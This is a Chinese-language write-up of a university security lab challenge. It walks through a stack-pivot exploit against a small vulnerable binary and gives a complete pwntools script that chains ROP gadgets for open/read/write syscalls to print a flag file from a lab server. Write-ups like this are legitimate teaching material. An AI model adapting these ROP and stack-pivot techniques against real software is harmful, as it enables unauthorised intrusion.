# Simple PWN 0x35(2023 Lab - Stack Pivot)
## Background
[Simple PWN - 0x09(stack pivoting)](https://hackmd.io/@SBK6401/rylybxgji)
[Simple PWN - 0x10(seccomp/Lab - rop2win)](https://hackmd.io/@SBK6401/H1NX6Bloj)
## Source code
```cpp
#include <stdio.h>
#include <unistd.h>
int main(void)
{
char buf[0x20];
read(0, buf, 0x80);
return 0;
}
```
## Recon
這一題助教是預設我們必須要使用stack pivot的技巧拿到flag,不過沒有時間設定seccomp,所以我們自己假裝只能使用read / write / open這三個syscall
1. checksec + file
```bash
$ checksec chal
[*] '/mnt/d/NTU/Second Year/Computer Security/PWN/Lab2/lab_stack_pivot/share/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ file chal
chal: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=26fa8e6daa97baf7a26596ea91af5703dd932327, for GNU/Linux 3.2.0, not stripped
```
首先可以看到該binary是statically link,所以直覺是利用ROP chain拿到shell,不過仔細看source code會發現BOF的長度顯然不太夠我們蓋成shell,所以需要用到stack pivot的技巧,控制RBP跳到其他的地方繼續寫
2. 找gadget
```python
leave_ret = 0x0000000000401cfc
pop_rdi_ret = 0x0000000000401832
pop_rsi_ret = 0x000000000040f01e
pop_rax_ret = 0x0000000000448d27
pop_rdx_ret = 0x000000000040173f
syscall_ret = 0x0000000000448280
```
這邊的重點是syscall ret這個gadget,其實他不是syscall完之後直接ret,而是在經過一些判斷才會進到ret,這個可以從gdb看出來
```bash
gef➤ x/10i 0x448280
0x448280 <read+16>: syscall
=> 0x448282 <read+18>: cmp rax,0xfffffffffffff000
0x448288 <read+24>: ja 0x4482e0 <read+112>
0x44828a <read+26>: ret
```
會這樣的原因是我們在ROPgadget中找不到`syscall ; ret`的gadget,所以助教提示可以直接從read / write這種function找,這樣syscall完了之後會很快的接到ret,這樣中間的操作才不會太影響我們蓋的rop
3. Construct ROP
首先,我們的流程是
==main_fn → bss_open → main_fn → bss_open → main_fn → bss_write==
會這樣的原因是我們只能寫入0x60的空間而已,所以把open / read / write分開寫,而寫完且執行完後會再跳原main_fn,這樣才能讓我們再讀取下一段的ROP payload
1. 寫入的bss_addr和main_fn address
```python
bss_addr_open = 0x4c2700
bss_addr_read = 0x4c2800
bss_addr_write = 0x4c2900
main_fn = 0x401ce1
```
1. 先讓rbp跳到bss_open,然後ret到main_fn,接要放到bss_open的payload
```python
trash_payload = b'a'*0x20
r.sendline(trash_payload + p64(bss_addr_open) + p64(main_fn))
```
之前的rop chain我們會把RBP一起蓋掉,但現在因為要跳到其他的地方,所以rbp的部分就跳到`0x4c2700`,然後ret address接main_fn
用gdb跟一下,放完的結果大概是這樣
```bash
0x00007ffc884f3670│+0x0000: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ← $rsp, $rsi
0x00007ffc884f3678│+0x0008: "aaaaaaaaaaaaaaaaaaaaaaaa"
0x00007ffc884f3680│+0x0010: "aaaaaaaaaaaaaaaa"
0x00007ffc884f3688│+0x0018: "aaaaaaaa"
0x00007ffc884f3690│+0x0020: 0x00000000004c2700 → <transmem_list+0> add BYTE PTR [rax], al ← $rbp
0x00007ffc884f3698│+0x0028: 0x0000000000401ce1 → <main+12> lea rax, [rbp-0x20]
```
當main_fn執行完leave(`mov rsp , rbp ; pop rbp ;`)的時候,rbp就會指到==0x4c2700==,當我們ret到main_fn時,就可以再次輸入payload放到0x4c2700
2. 觀察main_fn的assembly
```bash
gef➤ x/10i &main
0x401cd5 <main>: endbr64
0x401cd9 <main+4>: push rbp
0x401cda <main+5>: mov rbp,rsp
0x401cdd <main+8>: sub rsp,0x20
0x401ce1 <main+12>: lea rax,[rbp-0x20]
0x401ce5 <main+16>: mov edx,0x80
0x401cea <main+21>: mov rsi,rax
0x401ced <main+24>: mov edi,0x0
0x401cf2 <main+29>: call 0x448270 <read>
0x401cf7 <main+34>: mov eax,0x0
```
從以上的code可以看得出來,我們是跳到0x401ce1,所以rbp會張出0x20的空間,也就是==0x4c2700-0x20=0x4c26e0==,然後read到的內容就會放到這邊來
3. 寫入bss_addr_open
我們的目標是達成==fd = open("/home/chal/flag.txt", 0);==,具體payload如下
```python
file_addr = b'/home/chal/flag.txt'.ljust(0x20, b'\x00')
ROP_open = flat(
# Open file
# fd = open("/home/chal/flag.txt", 0);
bss_addr_read,
pop_rax_ret, 2,
pop_rdi_ret, bss_addr_open - 0x20,
pop_rsi_ret, 0,
pop_rdx_ret, 0,
syscall_ret,
main_fn
)
r.sendline(file_addr + ROP_open)
```
首先原本的0x20就拿來放檔案的位址,不過為甚麼後面還要再接著bss_addr_write呢?就和上面一樣,我們要寫別的rop payload上去,因為原本的位子不夠寫了,所以syscall_ret後接到main_fn,他會讀取我們寫入的rop payload到bss_addr_read的地方
4. 寫入bss_addr_read
我們要達成的目標是==read(fd, buf, 0x30)==,具體payload如下
```python
ROP_read = flat(
# Read the file
# read(fd, buf, 0x30);
bss_addr_write,
pop_rax_ret, 0,
pop_rdi_ret, 3,
pop_rsi_ret, bss_addr_read,
pop_rdx_ret, 0x30,
syscall_ret,
main_fn
)
r.sendline(file_addr + ROP_read)
```
5. 寫入bss_addr_write
我們要達成的目標是==write(fd, buf, 0x30)==,具體payload如下
```python
ROP_write = flat(
# Write the file
# write(1, buf, 0x30);
bss_addr_write,
pop_rax_ret, 1,
pop_rdi_ret, 1,
pop_rsi_ret, bss_addr_read,
pop_rdx_ret, 0x30,
syscall_ret,
0
)
r.sendline(file_addr + ROP_write)
```
:::danger
執行的時候如果遇到local端可以run但server爛掉的情況,有可能是raw_input()造成的,可以先註解掉這些東西,如果還是遇到一樣的問題,可以開docker在裡面執行
```bash
$ docker-compose up -d
$ docker ps
$ docker exec -it {container name} /bin/bash
> apt update; apt upgrade -y; apt install curl binutils vim git gdb python3 python3-pip -y
> pip install pwntools -y
> python3 exp.py
```
:::
## Exploit - ROPchain + stack pivot
```python
from pwn import *
context.arch = 'amd64'
# r = process('./chal')
r = remote('10.113.184.121', 10054)
leave_ret = 0x0000000000401cfc
pop_rdi_ret = 0x0000000000401832
pop_rsi_ret = 0x000000000040f01e
pop_rax_ret = 0x0000000000448d27
pop_rdx_ret = 0x000000000040173f
syscall_ret = 0x0000000000448280
bss_addr_open = 0x4c2700
bss_addr_read = 0x4c2800
bss_addr_write = 0x4c2900
main_fn = 0x401ce1
# raw_input()
# Modify RBP to a new Stack Space
trash_payload = b'a'*0x20
r.sendline(trash_payload + p64(bss_addr_open) + p64(main_fn))
# Open /home/chal/flag.txt
file_addr = b'/home/chal/flag.txt'.ljust(0x20, b'\x00')
ROP_open = flat(
# Open file
# fd = open("/home/chal/flag.txt", 0);
bss_addr_read,
pop_rax_ret, 2,
pop_rdi_ret, bss_addr_open - 0x20,
pop_rsi_ret, 0,
pop_rdx_ret, 0,
syscall_ret,
main_fn
)
# raw_input()
r.sendline(file_addr + ROP_open)
# Read flag.txt
ROP_read = flat(
# Read the file
# read(fd, buf, 0x30);
bss_addr_write,
pop_rax_ret, 0,
pop_rdi_ret, 3,
pop_rsi_ret, bss_addr_read,
pop_rdx_ret, 0x30,
syscall_ret,
main_fn
)
# raw_input()
r.sendline(file_addr + ROP_read)
# Write flat.txt to stdout
ROP_write = flat(
# Write the file
# write(1, buf, 0x30);
bss_addr_write,
pop_rax_ret, 1,
pop_rdi_ret, 1,
pop_rsi_ret, bss_addr_read,
pop_rdx_ret, 0x30,
syscall_ret,
0
)
# raw_input()
r.sendline(file_addr + ROP_write)
r.interactive()
```